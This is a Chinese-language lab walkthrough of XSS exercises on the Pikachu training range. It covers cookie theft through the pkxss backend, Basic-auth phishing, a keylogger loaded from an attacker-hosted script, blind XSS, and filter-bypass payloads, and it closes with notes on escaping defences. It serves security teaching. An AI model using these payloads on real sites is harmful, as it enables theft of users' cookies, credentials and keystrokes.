pikachu漏洞练习平台XSS
XSS案例get方式获取cookie图解pkxss管理后台使用介绍在绝对路径D:\phpstudy_pro\WWW\pikachu-master\pkxss下找到pkxss管理后台。也可以点击,pikachu靶场的左侧漏洞栏最下面的管理工具下的xss后台,并进行初始化安装。初始化安装后,输入页面提示的用户名和密码,即可成功进入pkxss管理后台。get方式获取cookie方法在目录D:\phpst
文章目录
XSS案例
get方式获取cookie图解
pkxss管理后台使用介绍
- 在绝对路径
D:\phpstudy_pro\WWW\pikachu-master\pkxss
下找到pkxss
管理后台。
- 也可以点击,pikachu靶场的左侧漏洞栏最下面的管理工具下的xss后台,并进行初始化安装。
初始化安装后,输入页面提示的用户名和密码,即可成功进入pkxss
管理后台。
get方式获取cookie方法
- 在目录
D:\phpstudy_pro\WWW\pikachu-master\pkxss\xcookie
下找到cookie.php
的文件即为获取cookie
的源码。
- 分析源码,通过get方式获取
cookie
的参数,并记录请求的referer、useragent
等信息查到数据库中,而在最下方有一个可信的重定向网站,目的是使攻击目标察觉不到电脑被攻击,而是电脑正常访问。 - 我们以反射型xss(get)为例演示。首先在开发者工具栏中将输入内容的
maxlength
改为20000,然后输入一个较为复杂的payload
其中pkxss后台:http://192.168.1.15/pkxss/pkxss_login.php
我们的目的是获取用户本地的cookie并且发送到xss管理后台。这里的可信的重定向网站为pkxss
的管理后台,访问的同时将用户的cookie
一起返回,从而形成一个完整的get请求。
4. 我们将上一步复杂的payload作为题目的输入内容,我们可以看到页面返回到pikachu
的首页。我们将pkxss
管理后台中获取cookie
的页面刷新,即可获取到用户的cookie
。
5. 实际场景中,我们可以将含有参数的url发送给攻击目标,欺骗攻击目标点击,一旦访问这个url,则会跳到其他页面,我们即可获得攻击目标又一条cookie的记录。
post方式获取cookie图解
post方式获取cookie方法
- 以反射型xss(post)为例,首先输入正确的用户名
admin
和密码123456
进行登录。 - 分析源码,与get型思路基本相同,访问这个页面,这个页面会自动提交一个post请求, 带上本地的
cookie
去访问xss后台并返回这个cookie
。 - 模拟的恶意站点
http://192.168.1.5/post.html
,即攻击目标需要访问的恶意站点。
xss钓鱼攻击
实验思路
可以在一个含有xss漏洞的页面中嵌入一个javascript
或者其他链接的请求,也可以通过basic
认证来进行钓鱼攻击。本道题目演示的就是basic认证的方法。当用户打开嵌有恶意代码请求的页面的时候,页面向我们远端的后台发送一个请求,请求的返回结果是一个basic认证【在HTTP
协议进行通信的过程中,HTTP
协议定义了基本认证过程以允许HTTP
服务器对WEB
浏览器进行用户身份证的方法,当一个客户端向HTTP
服务 器进行数据请求时,如果客户端未被认证,则HTTP
服务器将通过基本认证过程对客户端的用户名及密码进行验证,以决定用户是否合法。客户端在接收到HTTP服务器的身份认证要求后,会提示用户输入用户名及密码,然后将用户名及密码以BASE64
加密,加密后的密文将附加于请求信息中, 如当用户名为anjuta
,密码为:123456
时,客户端将用户名和密码用“:
”合并,并将合并后的字符串用BASE64
加密为密文,并于每次请求数据 时,将密文附加于请求头(Request Header
)中。HTTP
服务器在每次收到请求包后,根据协议取得客户端附加的用户信息(BASE64
加密的用户名和密码),解开请求包,对用户名及密码进行验证,如果用户名及密码正确,则根据客户端请求,返回客户端所需要的数据;否则,返回错误代码或重新要求客户端提供用户名及密码】的头部,则在用户的界面上会弹出一个需要证明身份认证的提示框。当我们进行身份验证输入账号和密码的时候,这个账号和密码会被发送到后台。
实验方法
- 以存储型xss题目为例。我们只需要在留言板嵌入一个能访问我们后台并且返回
basic
认证页面的一段标签。
fish.php后端代码 如下 - 我们将这段标签提交后,页面会弹出一个进行身份认证的弹窗
- 由于刚刚提交的内容被保存到数据库中,所以每次刷新这个页面就会出现身份认证弹窗。而用户一旦输入账号和密码,后台就会获取到用户的账号和密码。
xss获取键盘记录
跨域
实验室会用到远程调js文件的问题,远程调js文件会涉及到跨域请求的问题,我们先了解一下什么是跨域。
跨域-同源策略
为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定,两个不同域名之间不能使用js
进行相互操作。比如:x.com
域名下的javascript
并不能操作y.com
域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。比如通过:header(“Access-Control-Origin:x.com")
指定。
注意:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
为什么要有同源策略
A登录了淘宝,攻击者向A发送了一个恶意链接urlb
:
http://www.盗你cookie.com
如果没有同源策略,即urlb
上的js
可以操作A的内容(如:获取cookie
等),有了同源策略,就限制了这种情况。
再比如,一个恶意站点A上使用了<iframe src="B站点登陆页面">,
发送该恶意url到攻击对象,攻击对象如果没有同源策略,则A上的js即可获取B站点的登录信息。
实验方法
- 在目录
D:\phpstudy_pro\WWW\pikachu-master\pkxss\rkeypress
下这个js
文件即为攻击代码,这段js
代码被有xss漏洞的页面,即可对用户键盘输入进行获取,并且发送到攻击者后台。 - 以存储型xss题目为例。我们向留言板输入一个
javascript
的标签
<script src="http://192.168.1.5/pkxss/rkeypress/rk.js'></script>
这个标签可以将rk.js加载到本地来运行。
3. 将这段标签提交后,打开开发者工具的控制台,我们从键盘向留言板中输入,会有页面请求失败的提示,点击关闭后,在控制台会增加一条请求。
4. 我们将D:\phpstudy_pro\WWW\pikachu-master\pkxss\rkeypress
目录下的rkserver.php
设置为设置允许被跨域访问,然后从键盘输入信息,每输入一次则发起一次请求,查看pkxss后台即可看到键盘输入被记录下来。
XSS之盲打
什么是xss盲打
方法
- 随便输入一些内容,我们发现我们输入的信息并未在前端输出,可能会在后端只有管理员可以看到,而前端用户看不到。
- 我们尝试在大框内输入之前类似于反射型或者存储型题目时输入的javascript的代码,大名随便输入
<script>alert('XSS')</script>
我们发现没有出现弹窗,如果出现,则存在xss漏洞。
3. 这时我们可以点击页面提示,修改url
中的相对路径,访问后台管理平台,则会跳转到管理员的页面。
4. 再次点击页面提示,可以得到正确的用户名admin
和密码123456
,我们登录之后即可看到xss的弹窗。
5. 管理页面执行了前端输入的内容,则前端输入的内容会在后端被执行,则管理员的页面被xss处理。因此,攻击者可以通过在前端输入一段盗取cookie
的脚本,该脚本在管理员页面被执行,则可获取到后台管理员登录信息的cookie
,攻击者可成功登录管理后台。
6. 这一系列的操作都是尝试,我们事先并不知道输入的内容会在管理员后台执行,都只是猜测,因此,实际情况我们需要实际处理,有时候可能不会知道管理员后台的地址。
xss之绕过
在我们实际过程中,有很多应用系统或多或少会进行安全措施,但有的措施由于一些问题可能会被绕过。
常用方法
拼凑法中的<script>
标签会被去掉,并且只去掉一次,当我们把标签去掉后,前后又可以组合成一个新的<script>
标签;
使用注释进行干扰的方法中<!--test-->
为注释标签,但后台并不清楚这这是标签,则不会对其进行处理。
注意:在使用编码是要注意编码在输出点是否会被正常识别和翻译。这需要我们对前端标签属性能够处理什么编码或者通过一些手段正常翻译我们的编码。
xss绕过方法有很多,没有绝对的方法可以绕过所有的场景,需要自己去努力尝试。
实验演示
-
我们尝试输入一段标签+字符的内容时,点击提交后可以查看一下页面提示。
-
单击右键查看页面源码,
Ctr+F
定位到我们输入内容时对应的源码,我们发现script
标签被过滤; -
我们这时可以尝试大小写绕过的方法,我们输入一段payload
<SCRIpT>alert(111)</SCRIpT>
,点击提交后即可得到一个111的弹窗。 -
查看题目后端代码
php中preg_replace()函数的作用为接收如图三个参数
在该后台源码中preg_replace()
是接受正则表达式这个参数的,主要用来区分大小写,源码只对小写的script标签进行了过滤,因此本题可采用大小写绕过的方法,也可以通过换一个标签的方式来实验室绕过,如<img src=x onerror="alert(1111)"/>
,提交后也可看到出现了1111
的弹窗。
xss之htmlspecialchars()函数
实验案例演示
-
我们尝试输入一段内容,点击提交发现它在前端被显示出来。
-
点击右键查题目源码,定位到输入内容部分对应的源码,可以看到htmlspecialchars()函数把这段内容进行了编码,而单引号未作处理,因此是用默认的过滤方式进行了过滤。
-
因此我们可以尝试输入一段payload
p' onclick='alert(1111)'
,p后面单引号的目的是为了形成闭合,不会做任何处理,点击提交后,我们可以看见出现了1111
的弹窗。 -
我们查看后台源码
xss常见防范措施
总原则:输入作过滤,输出作转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到js里面的进行js转义。
xss之href输出
1.查看题目后台源码,herf
标签一般是写入超链接的,所以输入的时候只允许是http、htttps
开头的协议,源码中注释把原理和防范措施解释的都很清楚。
QUTES说明单引号、双引号以及各种特殊符号都会被处理。
2. 我们尝试在输入框中写入一个payloadjavascript:alert(111)
,点击提交后,点击右键查看网页源代码,Ctrl+F定位到我们输入点对应的源码。
3. 我们点击提交后的页面显示的标签(阁下自己输入的url
还请自己点一下吧),即可成功得到一个111
的弹窗。
xss之js输出
-
随便输入一些内容,点击提交后查看网页源代码,它是把输入点放入了
js
标签中。
-
根据网页源码提示,我们输入
tmac
,查看页面会出现什么样的内容。 -
javascript的payload,本质上就是构造闭合的payload
x'</script><script>alert('xss')</script>
,点击提交后,即可得到一个xss的弹窗。 -
打开
D:\phpstudy_pro\WWW\pikachu-master\vul\xss
目录下的xss_04.php
文件,打开后台源代码,这里讲输入动态的生成到了js
中,形成xss
。javascript
里面是不会对tag
【html标签】和字符实体进行解释的,所以需要进行js
转义。
讲这个例子主要是为了明白,输出点在js
中的xss
问题,应该怎么修?这里如果进行html的实体编码,虽然可以解决XSS
的问题,但是实体编码后的内容,在JS
里面不会进行翻译,这样会导致前端的功能无法使用。所以在js
的输出点应该使用\
对特殊字符进行转义。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)